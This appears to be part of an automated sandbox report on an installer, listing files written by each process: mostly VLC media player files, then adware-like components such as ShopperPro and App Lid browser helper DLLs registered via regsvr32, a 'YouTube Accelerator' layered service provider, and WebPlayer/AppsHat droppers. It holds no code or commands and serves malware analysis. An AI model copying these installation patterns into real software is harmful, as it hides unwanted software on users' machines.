%Program Files% (x86)\VideoLAN\VLC\plugins\misc\liblogger_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\NEWS.txt (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ml\LC_MESSAGES\vlc.mo (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_select_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmod_plugin.dll (16424 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\play_pause.png (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_06.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_events.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_rtp_plugin.dll (16424 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\common.js (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\soundcloud.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc-cache-gen.exe (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.lib (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tospdif_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libquicktime_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_yuy2_mmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libwav_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libzvbi_plugin.dll (38495 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll (8560 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pa\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libdummy_plugin.dll (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFC98.tmp\UAC.dll (30 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_right.png (91 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_wav_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\stop.png (80 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\winamp2.xml (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dummy.luac (819 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_mixer.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\break.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\vlm (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\simplexml.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hu\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nn\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_tcp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\br\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_configuration.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_dialog.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libexport_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sout.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist_jstree.xml (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-1.5.1.min.js (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hy\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\reader\filename.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fr\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-ui-1.8.13.custom.min.js (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\bw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi422_yuy2_mmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\eu\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tofloat32_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\extreme.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_ftp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_up.png (112 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm.xml (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_modules.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libidummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_delay_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_httpd.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ff\LC_MESSAGES\vlc.mo (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseFC98.tmp\modern-wizard.bmp (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libmediadirs_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pinkbike.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png (201 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ps_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\wa\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlccore.dll (68506 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_duplicate_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_view.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libxml_plugin.dll (35001 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdmo_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fourcc.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sout.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\repeat.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_udp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nl\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sort.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaraw_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\canalplus.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block_helper.h (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlc.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libkate_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libreal_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libwindrive_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\.hosts (122 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png (103 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\info.png (142 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default.cfg (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_standard_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo (21216 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_codec.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ja\LC_MESSAGES\vlc.mo (23296 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_image.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\he\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libogg_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsvcdsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_http.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\default.vlt (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\koreus.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_mms_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_setid_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ne\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.lib (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_stream.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_art_finder.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libtta_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_network.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mtime.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white_cross_small.png (96 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\equalizer_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libx264_plugin.dll (34773 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete_small.png (94 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_cpu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libtrivial_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lv\LC_MESSAGES\vlc.mo (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\sandbox.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\playlist (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\my\LC_MESSAGES\vlc.mo (444 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcdg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ru\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hr\LC_MESSAGES\vlc.mo (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_file_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfloat32_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\lelombrik.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\Documentation.url (55 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll (34773 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_vc1_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\librtp_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo (6584 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Release Notes.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libh264_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSans.ttf (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\next.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_09.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libgme_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lt\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc.h (15 bytes)
C:\Users\Public\Desktop\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\liboldrc_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\http.luac (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_epg.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\fullscreen.png (121 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png (95 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kmr\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfaad_plugin.dll (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gl\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\snapshot.png (206 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_acl.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_rar_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mpjpeg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\id\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_access.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\COPYING.txt (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_raop_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libt140_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sd.png (116 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_livehttp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libmemcpy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_point.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\New_Skins.url (64 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\notify\libmsn_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\pause.png (82 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\vimeo.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_player.h (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\.hosts (289 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ta\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_config_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_copy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ro\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\00_musicbrainz.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\uk\LC_MESSAGES\vlc.mo (25824 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_flac_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_filter.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\shuffle.png (110 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liba52_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\metachannels.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Audio-48.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_bar.png (86 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube_homepage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstofloat32_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libscreen_plugin.dll (1552 bytes)

The process regsvr32.exe:2288 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro64.dll (503 bytes)

The process regsvr32.exe:3600 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro.dll (421 bytes)

The process regsvr32.exe:2568 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\App Lid\App Lid-bho.dll (782 bytes)

The process regsvr32.exe:2996 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\App Lid\App Lid-bho64.dll (999 bytes)

The process lspinst.exe:3584 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\ProgramData\TEMP:56E2E879 (393 bytes)

The process lspinst.exe:1452 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\ProgramData\TEMP:56E2E879 (393 bytes)

The process webplayer_installer.exe:240 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsqF68F.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)

The process GLJ3321.tmp:3172 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)

The process appshat_generic.exe:604 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe (858187 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsf4818.tmp (10027 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsf4819.tmp\webplayer_installer.exe (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsf4819.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsf4819.tmp\appshat.exe (916974 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsf4819.tmp\inetc.dll (808 bytes)

The process vlc.exe:944 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlc-qt-interface.ini (25 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.944 (45012 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlcrc.944 (11109 bytes)

The process DCytaiesmt_smtyc_setup.exe:1648 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_26517\ins_yta.exe (33299 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_26517\ins_postInst.exe (3247 bytes)

The process cscript.exe:1628 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\default_config.json (791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\64x64[1].ico (5152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\shortcut.ico (6242 bytes)
C:\Users\"%CurrentUserName%"\Desktop\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\main.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\16x16[1].ico (1150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\config.xml (819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (65 bytes)
